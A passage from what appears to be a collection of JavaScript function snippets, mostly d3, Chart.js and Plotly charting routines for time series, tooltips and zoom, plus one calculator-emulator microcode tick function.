is closer\n\t\t\tvar d0 = data[i - 1];\n\t\t\tvar d1 = data[i];\n\t\t\tif (d0 === undefined || d1 === undefined) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tvar d = x0 - d0.date > d1.date - x0 ? d1 : d0;\n\t\t\treturn d;\n\t\t}\n\n\n\n\t\t// Vertical line that moves with mouse\n\t\tvar vertical = d3.select(\"#display\")\n\t\t\t.append(\"div\")\n\t\t\t.attr(\"class\", \"remove vertical\")\n\t\t\t.style(\"position\", \"absolute\")\n\t\t\t.style(\"z-index\", \"19\")\n\t\t\t.style(\"width\", \"1px\")\n\t\t\t.style(\"height\", height + \"px\")\n\t\t\t.style(\"top\", margin[\"top\"] + \"px\")\n\t\t\t.style(\"bottom\", \"30px\")\n\t\t\t.style(\"left\", \"80px\")\n\t\t\t.style(\"margin-left\", \"30%\")\n\t\t\t.style(\"background\", \"#555\");\n\n\t\t// Mouse event listeners on display\n \t\td3.select(\"#display\")\n\t\t\t.on(\"mousemove\", function() {\n\n\t\t\t\tvar d = getNearestX(this, 80);\n\t\t\t\t// If mouse is not inside display\n\t\t\t\tif (d3.mouse(this)[0] < 80 || d == null) return;\n\n\t\t\t\td3.selectAll(\".vertical\").classed(\"hidden\", false);\n\t\t\t\td3.selectAll(\".focus\").classed(\"hidden\", false);\n\n\t\t\t\t// Updates the tooltip position and value\n\t\t\t\td3.select(\"#tooltip\")\n\t\t\t\t\t.style(\"left\", d3.mouse(this)[0] + 20 + \"px\")\n\t\t\t\t\t.style(\"top\", d3.mouse(this)[1] - 50 + \"px\")\n\t\t\t\t\t.classed(\"hidden\", false);\n\t\t\t\td3.select(\"#tooltip-date\")\n\t\t\t\t\t.text($.format.date(d.date, \"ddd MMM d, yyyy\"));\n\t\t\t\t// Removes any old tooltip algorithm divs\n\t\t\t\t$(\".tooltip-algorithm\").remove();\n\t\t\t\t// Loops through each algorithm in data object to show each one's price\n\t\t\t\tfor (var key in d) {\n\t\t\t\t\tif (d.hasOwnProperty(key)) {\n\t\t\t\t\t\tif (key != \"date\") {\n\t\t\t\t\t\t\t$(\"#tooltip\").append('<div class=\"tooltip-algorithm\" id=\"tooltip-algorithm-' + key + '\"</div>');\n\t\t\t\t\t\t\t$(\"#tooltip-algorithm-\" + key).append(\"<p>\" + full_algo_name(key) + \"</p>\");\n\t\t\t\t\t\t\t$(\"#tooltip-algorithm-\" + key).append(\"<p>\" + formatCurrency(d[key]) + \"</p>\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Updates the vertical bar\n\t\t\t\tmousex = d3.mouse(this)[0];\n\t\t\t\tvertical.style(\"left\", mousex + \"px\");\n\t\t\t})\n\t\t\t.on(\"mouseout\", function() {\n\t\t\t\td3.select(\"#tooltip\").classed(\"hidden\", true);\n\t\t\t\td3.selectAll(\".vertical\").classed(\"hidden\", true);\n\t\t\t\td3.selectAll(\".focus\").classed(\"hidden\", true);\n\t\t\t});\n\n\n\n\t\t// Focus that displays circle at intersection of chart and vertical line\n\t\tvar foci = [];\n\t\tvar focus;\n\t\tfor (var i = 0; i < algorithms.length; i++) {\n\t\t\tfocus = svg.append(\"g\")\n\t\t\t\t.attr(\"class\", \"focus\")\n\t\t\t\t.style(\"display\", \"none\")\n\t\t\tfoci.push(focus);\n\t\t\tfocus.append(\"circle\")\n\t\t\t\t.attr(\"r\", 4.5);\n\t\t}\n\n\t\tsvg.append(\"rect\")\n\t\t\t.attr(\"class\", \"overlay\")\n\t\t\t.attr(\"width\", width)\n\t\t\t.attr(\"height\", height)\n\t\t\t.on(\"mouseover\", function() {\n\t\t\t\tfor (var i = 0; i < foci.length; i++) {\n\t\t\t\t\tfoci[i].style(\"display\", null);\n\t\t\t\t}\n\t\t\t})\n\t\t\t.on(\"mouseout\", function() {\n\t\t\t\tfor (var i = 0; i < foci.length; i++) {\n\t\t\t\t\tfoci[i].style(\"display\", null);\n\t\t\t\t}\n\t\t\t})\n\t\t\t.on(\"mousemove\", function() {\n\t\t\t\tvar d = getNearestX(this);\n\t\t\t\tif (d == null) return;\n\t\t\t\t// Note: Use x(d.date) for x translation if the point needs to be exactly on the date\n\t\t\t\t// This implementation forces the focus circle to always follow the mouse (in sync with vertical line)\n\t\t\t\tvar i = 0;\n\t\t\t\tfor (var key in d) {\n\t\t\t\t\tif (d.hasOwnProperty(key)) {\n\t\t\t\t\t\tif (key != \"date\") {\n\t\t\t\t\t\t\tfoci[i].attr(\"transform\", \"translate(\" + d3.mouse(this)[0] + \",\" + y(d[key]) + \")\");\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t});\n}", "function createChartSpeed(starttime, speed) {\n\tdocument.getElementById(\"speedChart\").style.display = \"block\"\n\tdocument.getElementById(\"speedChartTitle\").innerText = \"Speed\";\n\tdocument.getElementById(\"speed-desc\").innerText = \"20-second averages in mph\";\n\tif (chartSpeed != null)\n\t\tchartSpeed.destroy();\n\tchartSpeed = new Chart(document.getElementById(\"chartSpeed\").getContext(\"2d\"), {\n\t\ttype: 'line',\n\t\tdata: {\n\t\t\tlabels: starttime,\n\t\t\tdatasets: [{\n\t\t\t\tlabel: 'left',\n\t\t\t\tdata: speed,\n\t\t\t\tborderColor: 'rgb(0, 64, 128)',\n\t\t\t\tbackgroundColor: 'rgb(0, 64, 128)',\n\t\t\t\tfill: false,\n\t\t\t\tshowLine: false,\n\t\t\t\tpointRadius: 1\n\t\t\t}]\n\t\t},\n\t\toptions: {\n\t\t\tanimation: {\n\t\t\t\tduration: 0\n\t\t\t},\n\t\t\thover: {\n\t\t\t\tanimationDuration: 0\n\t\t\t},\n\t\t\tresponsiveAnimationDuration: 0\n\t\t},\n\t\tdefaults: {\n\t\t\tline: {\n\t\t\t\tshowLine: false,\n\t\t\t}\n\t\t}\n\t});\n}", "function updateChartType() {\n\n \n var selection = document.multiselect('#chart_variables')._item\n var selection_results = getSelectValues(selection)\n console.log(\"selected variables: \", selection_results);\n\n //here we destroy/delete the old or previous chart and redraw it again\n clearInterval(refreshIntervalId);\n chart.destroy();\n var ctx = document.getElementById('pressure_air_supply');\n\n chart = new Chart(ctx, {\n type: 'line',\n data: {\n labels: [],\n datasets: [{ \n label: 'A',\n yAxisID: 'A',\n data: [],\n label: selection_results[0],\n borderColor: \"#0000FF\",\n fill: false,\n },{ \n label: 'B',\n yAxisID: 'B',\n data: [],\n label: selection_results[1],\n borderColor: \"#000000\",\n fill: false,\n } \n ]\n },\n options: {\n title: {\n display: false,\n text: 'pressure_air_supply'\n },\n scales: {\n\t\txAxes: [{\n type: 'time',\n time: {\n\t\t\tunit: 'second',\n\t\t\tdisplayFormat: 'second'\n },\n\t\t ticks: {\n\t\t\tmaxTicksLimit: 5,\n\t\t\tmaxRotation: 0\n\t\t }\n\t\t}],\n yAxes: [{\n id: 'A',\n type: 'linear',\n position: 'left',\n\t\t color: \"#0000FF\",\n\t\t ticks: {\n\t\t\tfontColor: \"#0000FF\", // this here\n },\n\n }, {\n id: 'B',\n type: 'linear',\n position: 'right',\n\t\t color: \"#000000\",\n\t\t ticks: {\n fontColor: \"#000000\", // this here\n },\n }]\n\t },\n\t\tlegend : {\n\t\t display: true}\n }\n\n\n\n });\n requestDataVar1(selection_results[0], selection_results[1]);\n}", "function drawChart() {\n const canvas = document.createElement('canvas');\n let data = [];\n let min = Infinity;\n let max = 0;\n for (let i = 0; i < TIMINGS.length; i++) {\n let series = TIMINGS[i];\n min = Math.min(min, Math.min(...series));\n max = Math.max(max, Math.max(...series));\n }\n\n for (let i = 0; i < TIMINGS.length; i++) {\n let series = TIMINGS[i];\n data.push({\n data: bellCurvify(series, min, max),\n label: getFileName(PATHS[i]),\n\n borderColor: COLORS[i % COLORS.length],\n fill: false\n });\n }\n const context = canvas.getContext('2d');\n let labels = [];\n for (let i = min; i <= max; i++) {\n labels.push('' + i);\n }\n document.body.appendChild(canvas);\n new Chart(context, {\n type: 'line',\n data: {\n labels: labels,\n datasets: data\n },\n options: {}\n });\n}", "tick () {\n\n if (this.tickCount === 0) {\n this.AK = this.R[36] + 16 * this.R[39];\n\n if ((this.memoryOfCommands[this.AK] & 0xfc0000) === 0) {\n this.T = 0;\n }\n }\n\n const tick9 = this.tickCount / 9 | 0;\n\n if (tick9 < 3) {\n this.ASP = this.memoryOfCommands[this.AK] & 0xff;\n } else if (tick9 === 3) {\n this.ASP = (this.memoryOfCommands[this.AK] >>> 8) & 0xff;\n } else if (tick9 === 4) {\n\n this.ASP = (this.memoryOfCommands[this.AK] >>> 16) & 0xff;\n\n if (this.ASP > 0x1f) {\n\n if (this.tickCount === 36) {\n\n this.R[37] = this.ASP & 0xf;\n\n this.R[40] = this.ASP >>> 4;\n\n }\n\n this.ASP = 0x5f;\n\n }\n }\n\n this.MOD = (this.memoryOfCommands[this.AK] >>> 24) & 0xff;\n\n this.AMK = this.memoryOfSyncProgramms[this.ASP * 9 + unknownJ[this.tickCount]];\n\n this.AMK = this.AMK & 0x3f;\n\n if (this.AMK > 59) {\n\n this.AMK = (this.AMK - 60) * 2;\n\n if (this.L === 0) {\n this.AMK++;\n }\n\n this.AMK += 60;\n\n }\n\n this.microCommand = this.memoryOfMicrocommands[this.AMK];\n\n const tick3 = this.tickCount / 3 | 0;\n\n let alfa = 0, beta = 0, gamma = 0;\n\n if (((this.microCommand >>> 25) & 1) > 0) {\n if (tick3 !== this.codeX - 1) {\n this.S1 |= this.codeY;\n }\n }\n\n if ((this.microCommand & 1) > 0) alfa |= this.R[this.tickCount];\n\n if ((this.microCommand & 2) > 0) alfa |= this.M[this.tickCount];\n\n if ((this.microCommand & 4) > 0) alfa |= this.ST[this.tickCount];\n\n if ((this.microCommand & 8) > 0) alfa |= ~this.R[this.tickCount] & 0xf;\n\n if ((this.microCommand & 16) > 0)\n\n if (this.L === 0) alfa |= 0xa;\n\n if ((this.microCommand & 32) > 0) alfa |= this.S;\n\n if ((this.microCommand & 64) > 0) alfa |= 4;\n\n if ((this.microCommand >>> 7 & 1) > 0) beta |= this.S;\n\n if ((this.microCommand >>> 7 & 2) > 0) beta |= ~this.S & 0xf;\n\n if ((this.microCommand >>> 7 & 4) > 0) beta |= this.S1;\n\n if ((this.microCommand >>> 7 & 8) > 0) beta |= 6;\n\n if ((this.microCommand >>> 7 & 16) > 0) beta |= 1;\n\n if ((this.memoryOfCommands[this.AK] & 0xfc0000) > 0) {\n\n if (this.codeY === 0) this.T = 0;\n\n } else {\n\n if (tick3 === this.codeX - 1)\n\n if (this.codeY > 0) {\n\n this.S1 = this.codeY;\n\n this.T = 1;\n\n }\n\n if (tick3 < 12)\n\n if (this.L > 0) this.dot = tick3;\n\n this.dots[tick3] = this.L > 0;\n\n this.screenShouldUpdate = true;\n\n }\n\n if ((this.microCommand >>> 12 & 1) > 0) gamma |= this.L & 1;\n\n if ((this.microCommand >>> 12 & 2) > 0) gamma |= ~this.L & 1;\n\n if ((this.microCommand >>> 12 & 4) > 0) gamma |= ~this.T & 1;\n\n const sum = alfa + beta + gamma;\n\n var sigma = sum & 0xf;\n\n this.P = sum >>> 4 & 1;\n\n if (this.MOD === 0 || this.tickCount >= 36) {\n\n switch (this.microCommand >>> 15 & 7) {\n\n case 1: this.R[this.tickCount] = this.R[(this.tickCount + 3) % 42]; break;\n\n case 2: this.R[this.tickCount] = sigma; break;\n\n case 3: this.R[this.tickCount] = this.S; break;\n\n case 4: this.R[this.tickCount] = this.R[this.tickCount] | this.S | sigma; break;\n\n case 5: this.R[this.tickCount] = this.S | sigma; break;\n\n case 6: this.R[this.tickCount] = this.R[this.tickCount] | this.S; break;\n\n case 7: this.R[this.tickCount] = this.R[this.tickCount] | sigma; break;\n\n }\n\n if ((this.microCommand >>> 18 & 1) > 0) this.R[(this.tickCount + 41) % 42] = sigma;\n\n if ((this.microCommand >>> 19 & 1) > 0) this.R[(this.tickCount + 40) % 42] = sigma;\n\n }\n\n if ((this.microCommand >>> 20 & 1) > 0) this.M[this.tickCount] = this.S;\n\n if ((this.microCommand >>> 21 & 1) > 0) this.L = this.P;\n\n\n switch (this.microCommand >>> 22 & 3) {\n\n case 1: this.S = this.S1; break;\n\n case 2: this.S = sigma; break;\n\n case 3: this.S = this.S1 | sigma; break;\n\n }\n\n\n switch (this.microCommand >>> 24 & 3) {\n\n case 1: this.S1 = sigma; break;\n\n case 2: this.S1 = this.S1; break;\n\n case 3: this.S1 = this.S1 | sigma; break;\n\n }\n\n let x, y, z;\n\n switch (this.microCommand >>> 26 & 3) {\n\n case 1:\tthis.ST[(this.tickCount + 2) % 42] = this.ST[(this.tickCount + 1) % 42];\n\n this.ST[(this.tickCount + 1) % 42] = this.ST[this.tickCount];\n\n this.ST[this.tickCount] = sigma;\n\n break;\n\n case 2:\tx = this.ST[this.tickCount];\n\n this.ST[this.tickCount] = this.ST[(this.tickCount + 1) % 42];\n\n this.ST[(this.tickCount + 1) % 42] = this.ST[(this.tickCount + 2) % 42];\n\n this.ST[(this.tickCount + 2) % 42] = x;\n\n break;\n\n case 3:\tx = this.ST[this.tickCount];\n\n y = this.ST[(this.tickCount + 1) % 42];\n\n z = this.ST[(this.tickCount + 2) % 42];\n\n this.ST[this.tickCount] = sigma | y;\n\n this.ST[(this.tickCount + 1) % 42] = x | z;\n\n this.ST[(this.tickCount + 2) % 42] = y | x;\n\n break;\n\n }\n\n\n this.out = this.M[this.tickCount];\n\n this.M[this.tickCount] = this.in;\n\n this.tickCount++;\n\n if (this.tickCount > 41) {\n this.tickCount = 0;\n }\n }", "function update_lines(x,y){\n const line = d3.line()\n .curve(d3.curveMonotoneX)\n .x(function(d) {return x(d.timestep);})\n .y(function(d) {return y(d.degree);});\n\n d3.selectAll('.entity')\n .attr(\"d\", function(d) {return line(d.values);})\n // .attr(\"transform\", \"translate(\"+(zoom_x)+\",\" +(zoom_y)+ \")\");\n // .attr(\"transform\", \"translate(\"+(d3.event.translate)+\")\");\n\n d3.selectAll('.line').selectAll('#text_label').raise();\n d3.selectAll('.text_label_background').raise();\n\n d3.selectAll(\".start\")\n .attr(\"y\", function(d){\n const y = rescaled_graph_y||graph_y;\n return y(d.values[0].degree);\n })//magic number here\n .attr(\"x\", function(d){\n const x = rescaled_graph_x||graph_x;\n return x(d.values[0].timestep);\n })\n\n d3.selectAll(\".end\")\n .attr(\"y\", function(d){\n const y = rescaled_graph_y||graph_y;\n return y(d.values[d.values.length-1].degree);\n })//magic number here\n .attr(\"x\", function(d){\n const x = rescaled_graph_x||graph_x;\n return x(d.values[d.values.length-1].timestep);\n })\n d3.selectAll('line').selectAll('#text_label').raise();\n d3.selectAll('.text_label_background').raise();\n\n // const g = d3.select(\".line-text\");\n // g.selectAll(\".end\")\n // // .attr(\"y\", graph_y(dim_start.degree))//magic number here\n // .attr(\"x\", function(d){\n // const x = rescaled_graph_x||graph_x,\n // dim = d.values[d.values.length-1];\n // console.log(dim);\n // return x(dim.timestep);\n // })\n // .attr(\"y\", function(d){\n // const y = rescaled_graph_y||graph_y,\n // dim = d.values[d.values.length-1];\n // console.log(dim.degree);\n // return y(dim.degree);\n // });\n\n // g.selectAll(\".start\")\n // // .attr(\"y\", graph_y(dim_start.degree))//magic number here\n // .attr(\"x\", function(d){\n // const x = rescaled_graph_x||graph_x,\n // dim = d.values[0];\n // console.log(dim);\n // return x(dim.timestep);\n // })\n // .attr(\"y\", function(d){\n // const y = rescaled_graph_y||graph_y,\n // dim = d.values[d.values.length-1];\n // console.log(dim.degree);\n // return y(dim.degree);\n // });\n\n // d.forEach(function(curr){\n // const id = \"#\"+curr.characters+\"_DT_row\",\n // dim_start = curr.values[0]\n // dim_end = curr.values[curr.values.length-1];\n //\n // g.append(\"text\")\n // .attr(\"y\", graph_y(dim_start.degree))//magic number here\n // .attr(\"x\", function(){ return graph_x(dim_start.timestep)})\n // .attr('text-anchor', 'end')\n // .style(\"color\",d3.select(id).style(\"background-color\"))\n // .style(\"font-size\",\".5em\")\n // .text(curr.characters);\n //\n // g.append(\"text\")\n // .attr(\"y\", graph_y(dim_end.degree))//magic number here\n // .attr(\"x\", function(){ return graph_x(dim_end.timestep)})\n // .attr('text-anchor', 'start')\n // .style(\"color\",d3.select(id).style(\"background-color\"))\n // .style(\"font-size\",\".5em\")\n // .text(curr.characters);\n // });\n}", "function setupProbVsTime(){\n $(\".graph-container\").empty();\n graph = d3.select(\".graph-container\").append(\"svg\")\n .attr(\"class\",\"graph\").attr(\"height\", graph_container_height)\n .attr(\"width\",parseInt(graph_container_width)).append(\"g\")\n .attr(\"transform\",\"translate(\" + graph_margin.left + \",\" + graph_margin.top + \")\");\n\n graph.selectAll(\".y-line\").data(y_scale.ticks(1)).enter().append(\"line\")\n .attr(\"class\", \"y-line\")\n .attr('x1', 0)\n .attr('x2', graph_width)\n .attr('y1', y_scale)\n .attr('y2',y_scale);\n \n graph.selectAll(\".x-line\").data(x_scale.ticks(1)).enter().append(\"line\")\n .attr(\"class\", \"x-line\").attr('x1', x_scale)\n .attr('x2', x_scale).attr('y1', 0)\n .attr('y2',graph_height);\n\n graph.append(\"rect\")\n .attr(\"x\",0)\n .attr(\"y\",0)\n .attr(\"width\",graph_width)\n .attr(\"height\",graph_height)\n .attr(\"fill\",\"#e4e4e4\");\n \n graph.selectAll(\".y-scale-label\").data(y_scale.ticks(6)).enter().append(\"text\")\n .attr(\"class\", \"y-scale-label\")\n .attr(\"x\",x_scale(0))\n .attr('y',y_scale)\n .attr(\"text-anchor\",\"end\")\n .attr(\"dy\",\"0.3em\")\n .attr(\"dx\",\"-0.1em\")\n .text(String);\n \n graph.append(\"text\")\n .attr(\"class\", \"time-label\")\n .attr(\"x\",graph_width/2)\n .attr('y',y_scale(0))\n .attr(\"text-anchor\",\"middle\")\n .attr(\"dy\",\"2em\")\n //.attr(\"dx\",\"-0.1em\")\n .text(\"Time\");\n\n graph.append(\"text\")\n .attr(\"class\", \"prob-label\")\n .attr(\"x\",x_scale(0))\n .attr(\"y\",graph_height/2)\n .attr(\"text-anchor\",\"middle\")\n .attr(\"transform\",'rotate(-90 -12,65)')\n .text(\"Probability\");\n }", "function updateChart() {\n // What are the selected boundaries?\n var extent = d3.event.selection\n // If no selection, back to initial coordinate. Otherwise, update X axis domain\n if(!extent){\n if (!idleTimeout) return idleTimeout = setTimeout(idled, 350); // This allows to wait a little bit\n x.domain([ 4,8])\n }else{\n x.domain([ x.invert(extent[0]), x.invert(extent[1]) ])\n line.select(\".brush\").call(brush.move, null) // This remove the grey brush area as soon as the selection has been done\n }\n // Update axis and line position\n xAxis.transition().duration(1000).call(d3.axisBottom(x))\n line\n .select('.line_vol')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d) { return x(new Date(d.timestamp_hour)) })\n .y(function(d) { return y(d.volume) })\n )\n // Update axis and line position\n xAxis.transition().duration(1000).call(d3.axisBottom(x))\n line\n .select('.line_hot')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d) { return x(new Date(d.timestamp_hour)) })\n .y(function(d) { return y(d.hot) })\n )\n // Update axis and line position\n xAxis.transition().duration(1000).call(d3.axisBottom(x))\n line\n .select('.line_cold')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d) { return x(new Date(d.timestamp_hour)) })\n .y(function(d) { return y(d.cold) })\n )\n }", "function initializeTimelineDuration() {\n var totalHours = findTotalHours();\n if (totalHours > 48) {\n TIMELINE_HOURS = totalHours;\n TOTAL_HOUR_PIXELS = TIMELINE_HOURS * HOUR_WIDTH;\n SVG_WIDTH = TIMELINE_HOURS * 100 + 50;\n XTicks = TIMELINE_HOURS * 2;\n redrawTimeline();\n }\n}", "constructor(config) {\n // Constants\n this.MIN_Y_AXIS_RANGE = 1;\n this.ZOOM_Y_PERCENTAGE = 0.1; // Zoom 10% of Y axis\n this.MOVE_Y_PERCENTAGE = 0.2; // Move 20% of Y axis\n this.UPDATE_Y_USE_ALL_DATA = true; // update y axis using all the data or just the incoming\n this.Y_PADDING = 0.05; // 5% of air up and down when updating the axis\n\n // Assure that the config object is correct\n if(!this._validateConstructorParams(config)) return;\n\n this.data = null;\n this.isReady = false;\n\n this.legendContainer = config.legendContainer;\n this.secondsIndicator = config.secondsIndicator;\n this.yMin = config.yMin;\n this.yMax = config.yMax;\n this.yMinHome = config.yMin;\n this.yMaxHome = config.yMax;\n\n this._initEmptyTimeChart(config.container, config.width, config.height, config.xTicks, config.yTicks);\n this._initAxisDeltas(config.dxZoom);\n this._initEmptyLegend();\n this._initEmptyTitle();\n this._addEventsXAxis(config.xZoomBtn[0], config.xZoomBtn[1]);\n this._addEventsYAxis(config.yZoomBtn, config.yMoveBtn, config.yHomeBtn);\n this._updateXAxis(config.secondsInScreen);\n\n this.htmlIds = {\n yAutoUpdate: config.yAutoUpdate,\n };\n\n // Select recalculateYAxisFunction\n this.recalculateYAxisFunction = (this.UPDATE_Y_USE_ALL_DATA) ?\n this._recalculateYAxisFull : this._recalculateYAxisIncoming;\n // NOTE: assigning functions like this is dangerous without bind,\n // although in this case should work\n }", "function createChartElementFrom(time, data_map, dataOffset, update) {\n const duration = parseInt(update.duration);\n const frequency = parseInt(update.frequency);\n // HTML Canvas element\n let canvasElem = document.createElement('canvas');\n canvasElem.setAttribute('id', 'main-chart');\n // TODO: MOVE STYLING TO CSS FILE\n canvasElem.setAttribute('height', '40%');\n canvasElem.setAttribute('width', '80%');\n canvasElem.style.zIndex = -1;\n dataSet = data_map;\n //transfer annotations\n let annotations = {};\n if (chart != null) {\n annotations = chart.options.annotation;\n }\n //Display actual chart\n chart = new Chart(canvasElem.getContext('2d'), {\n type: 'line',\n data: {\n labels: time,\n datasets: data_map,\n },\n options: {\n scales: {\n\n // Label type (hours)\n x: {\n type: 'timeseries'\n },\n // X axes label (display only beginning and end time of current view)\n // TODO: CHANGE FONTS\n xAxes: [{\n display: true,\n gridLines: {\n drawOnChartArea: true,\n drawTicks: true\n },\n ticks: {\n padding: 15,\n maxTicksLimit: duration,\n stepSize: frequency,\n maxRotation: 0,\n minRotation: 0,\n fontWeight: 'bold',\n fontSize: 15,\n fontColor: 'black',\n callback: function (value, index, values) {\n const timevalues = value.split(':')\n let timelabel = new Date();\n timelabel.setHours(parseInt(timevalues[0]), parseInt(timevalues[1]), parseInt(timevalues[2]));\n if (index == 0 || index == time.length - 1) {\n return timelabel.toLocaleTimeString();\n } else {\n return '';\n }\n }\n }\n }],\n // Y axis labels (used to display channel names\n yAxes: [{\n // Data limits (change to maintain orderly display of channels)\n\n //TODO: FIX ALIGNMENT WHICH BREAKS ON AMPLITUDE CHANGES\n ticks: {\n max: (data_map.length ) * dataOffset,\n min: -1 * dataOffset,\n maxTicksLimit: data_map.length,\n // Step size used to align channel name with graph\n stepSize: dataOffset,\n // Change label from numerical value to the name of the channel at tick offset\n callback: function (value, index, values) {\n const dataIndex = dataSet.length - index;\n if (dataIndex >= 0 && index > 0) {\n return dataSet[dataIndex].label;\n } else {\n return '';\n }\n },\n fontWeight: 'bold',\n fontSize: 15,\n fontColor: 'black'\n },\n // TODO: DISPLAY DASHED GRIDLINES DEPENDENDT ON DURATION VIEWED\n gridLines: {\n drawOnChartArea: false\n }\n }]\n },\n // Prevent legend display because it doesn't optimize space or align with channels\n legend: {\n display: false\n },\n // Annotation section (filled in when displaying annotations\n annotation: annotations,\n // Padding of graph\n layout: {\n padding: {\n left: 50\n }\n },\n // Erases default events\n events: ['click'],\n tooltips: {\n intersect: false,\n mode: 'nearest',\n callbacks: {\n title: function (toolTipItem, data) {\n const ds_index = toolTipItem[0].datasetIndex;\n const channelLabel = data.datasets[ds_index].label;\n const curColor = data.datasets[ds_index].borderColor;\n $('#color-select').val(curColor);\n $('#color-select').show();\n $('#color-select').change(function (event) {\n $('#color-select').hide();\n data.datasets[ds_index].borderColor = $('#color-select').val();\n chart.update(0);\n $('#color-select').unbind('change');\n });\n return \"\";\n },\n label: function (toolTipItem, data) {\n return \"\";\n }\n }\n }\n }\n });\n\n // Adds event listener to change amplitude based on up/down arrow keys\n document.getElementById('body').addEventListener('keydown', function(event) {\n const key = event.code;\n if (key === \"ArrowUp\") { alterAmplitudes(100);}\n else if (key === \"ArrowDown\") { alterAmplitudes(-100); }\n });\n\n return canvasElem;\n}", "init(settings) {\n const { canvasWidth, canvasHeight, margin, labelFontSize, fontStyle } =\n settings;\n this.width = canvasWidth - margin.left - margin.right;\n this.height = canvasHeight - margin.top - margin.bottom;\n\n const svg = d3\n .select(this.parentElement)\n .append(\"svg\")\n .attr(\"width\", this.width + margin.left + margin.right)\n .attr(\"height\", this.height + margin.top + margin.bottom);\n\n this.group = svg\n .append(\"g\")\n .attr(\"transform\", `translate(${margin.left}, ${margin.top})`);\n\n this.xScale = d3.scaleTime().range([0, this.width]);\n this.yScale = d3.scaleLinear().range([this.height, 0]);\n\n // helper function for formatting ticks on y-axis\n const formatSi = d3.format(\".2s\");\n const formatAbbreviation = (data) => {\n const string = formatSi(data);\n switch (string[string.length - 1]) {\n case \"G\":\n return string.slice(0, -1) + \"B\";\n case \"k\":\n return string.slice(0, -1) + \"K\";\n }\n return string;\n };\n\n this.xAxisCall = d3.axisBottom().ticks(d3.timeMonth.every(6));\n this.yAxisCall = d3\n .axisLeft()\n .ticks(6)\n .tickFormat((data) => formatAbbreviation(data));\n\n this.line = d3.line();\n\n this.xAxis = this.group\n .append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", `translate(0, ${this.height})`);\n this.yAxis = this.group.append(\"g\").attr(\"class\", \"y axis\");\n\n this.yAxis\n .append(\"text\")\n .text(\"Population\")\n .attr(\"class\", \"axis-title\")\n .attr(\"transform\", \"rotate(-90)\")\n .attr(\"y\", 6)\n .attr(\"dy\", \".71em\")\n .style(\"text-anchor\", \"end\")\n .attr(\"fill\", \"#5D6971\");\n\n this.group\n .append(\"text\")\n .text(this.coinName)\n .attr(\"x\", this.width / 2)\n .attr(\"y\", this.height + 50)\n .attr(\"font-size\", labelFontSize)\n .attr(\"font-family\", fontStyle)\n .attr(\"text-anchor\", \"middle\");\n\n this.group\n .append(\"path\")\n // we have to add a different class for path in each chart\n .attr(\"class\", this.coinClass);\n\n this.updateData();\n }", "function lineChartWithMetricsChoices() {\n\n let tempChartData = [];\n\n (displayAggregateAdvertisers === true) ? tempChartData = chartdata_aggregate : tempChartData = chartdata;\n\n // creates a list of the unique advertisers in the \"advertiser\" object of the dictionary\n let unique_advertisers = tempChartData.advertiser.filter( onlyUnique );\n\n // console.log(\"length of advertiser array\", unique_advertisers.length);\n // console.log(\"unique advertisers array\", unique_advertisers);\n\n let traces = [];\n\n // sampleData.sample_values.max\n\n for(i=0; i < unique_advertisers.length; i++ ){\n\n let advertiser = unique_advertisers[i];\n\n for(j=0; j < metrics_chosen.length; j++){\n\n let metric = metrics_chosen[j];\n\n // if the advertiser is \"Organic\" and the metric is not one of the metrics\n // that we have data on for Organic installers, then skip this loop\n if (advertiser === \"Organic\" && !metrics_info[metric].use_for_organic) continue;\n \n let trace = {\n x: getOvertimeGraphXValues(tempChartData, \"date\", advertiser),\n y: getOvertimeGraphYValues(tempChartData, metric, advertiser),\n name: advertiser_info[advertiser].name + \" \" + metrics_info[metric].name,\n // name: advertiser_shortname_lookup[advertiser] + \" \" + metric,\n // text: \"testing\",\n mode: 'scatter',\n // mode: 'lines+markers',\n // ABARACADABARA\n fill: setFillMode(metric),\n stackgroup: setStackGroup(metric),\n hovertext: setHoverText(tempChartData, metric, advertiser),\n hoverinfo: 'text+name', //will display the hovertext next to the name\n // hoverinfo: 'x+y+name',\n // size: tempChartData.installs.map( (value) => {\n // if(value < 10){\n // return 10; \n // }\n // return value/20;\n // }),\n visible: setTraceVisibility(metric),\n yaxis: metrics_info[metric].yaxis,\n // yaxis: metrics_axis_lookup[metric],\n line: {\n dash: metrics_info[metric].dash,\n shape: \"spline\",\n smoothing: 0.6,\n // dash: metrics_linetype_lookup[metric],\n color: advertiser_info[advertiser].color\n // color: advertiser_colors[advertiser]\n }\n };\n \n traces.push(trace);\n\n }\n\n }\n\n //console.log(\"metrics chosen\", metrics_chosen);//(metrics_chosen.includes(\"ltv_subs_revenue\"))\n // console.log(\"metrics chosen includes ltv subs?\", metrics_chosen.includes(\"ltv_subs_revenue\"));\n // ADD GIFTCARD TRACE IF NECESSARY\n // ****** NOTE *****\n // IN THIS VERSION OF THE ANALYTICS DASHBOARD, WE'VE REMOVED THE GIFTCARD CHECKBOX \n // AND COMMENTED OUT ITS FUNCTIONALITY IN THE updateAdditionalControls() FUNCTION\n // SO EVEN IF SOMEONE WERE ABLE TO HACK THE HTML AND GET THE GIFTCARD CHECKBOX TO BE VISIBLE\n // THIS CODE WOULD NEVER RUN BECAUSE THE \"showGiftCard\" VARIABLE WOULD ALWAYS BE FALSE\n if( showGiftCard && ( metrics_chosen.includes(\"ltv_subs_revenue\")|| metrics_chosen.includes(\"ltv_premium_membership_revenue\") || metrics_chosen.includes(\"ltv_text_chat_revenue\") ) ){\n // console.log(\"Adding Giftcard trace\", gc_data[\"gc_revenue\"]);\n // console.log(\"dates\", gc_data[\"date\"]);\n\n let trace = {\n x: gc_data[\"date\"],\n y: gc_data[\"gc_revenue\"],\n name: \"GC Revenue\",\n // name: advertiser_shortname_lookup[advertiser] + \" \" + metric,\n // text: \"testing\",\n mode: 'scatter',\n // mode: 'lines+markers',\n stackgroup: setStackGroup(\"ltv_subs_revenue\"),\n // hovertext: setHoverText(tempChartData, metric, advertiser),\n\n hovertext: gc_data[\"gc_revenue\"].map((revenue, i) => {\n let formattedDate = moment(gc_data[\"date\"][i]).format('ddd, MM/DD'); 